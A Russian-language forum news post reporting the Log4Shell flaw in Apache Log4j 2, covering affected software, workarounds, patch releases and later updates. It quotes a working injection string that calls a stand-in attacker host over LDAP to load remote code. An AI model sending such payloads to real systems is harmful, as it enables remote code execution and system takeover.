Критическая уязвимость в Apache Log4j 2, затрагивающая многие Java-проекты

Kate

Administrator
Команда форума
В Apache Log4j 2, популярном фреймворке для организации ведения логов в Java-приложениях, выявлена критическая уязвимость, позволяющая выполнить произвольный код при записи в лог специально оформленного значения в формате "{jndi:URL}". Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках.

Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.

Проблема усугубляется тем, что уже опубликован рабочий эксплоит, но исправления для стабильных веток на данный момент не сформированы. СVE-идентификатор пока не присвоен. Исправление включено только в тестовую ветку log4j-2.15.0-rc1. В качестве обходного пути блокирования уязвимости рекомендуется выставить параметр Log4j2.formatMsgNoLookups в значение true.

Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

Дополнение 1: Уязвимости присвоен идентификатор CVE-2021-44228.

Дополнение 2: Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.

Дополнение 3: Компания Cloudflare зафиксировала проведение массовых автоматизированных атак для захвата управления над системами, использующими уязвимую библиотеку Log4j 2.

Дополнение 4: Компания Cybereason предложила проактивный метод борьбы с уязвимостью и опубликовала эксплоит-вакцину Logout4Shell, который через совершение атаки выставляет Java-настройки "log4j2.formatMsgNoLookups = true", "com.sun.jndi.rmi.object.trustURLCodebase = false" и "com.sun.jndi.cosnaming.object.trustURLCodebase = false" для блокирования дальнейшего проявления уязвимости на неподконтрольных системах.

 
Сверху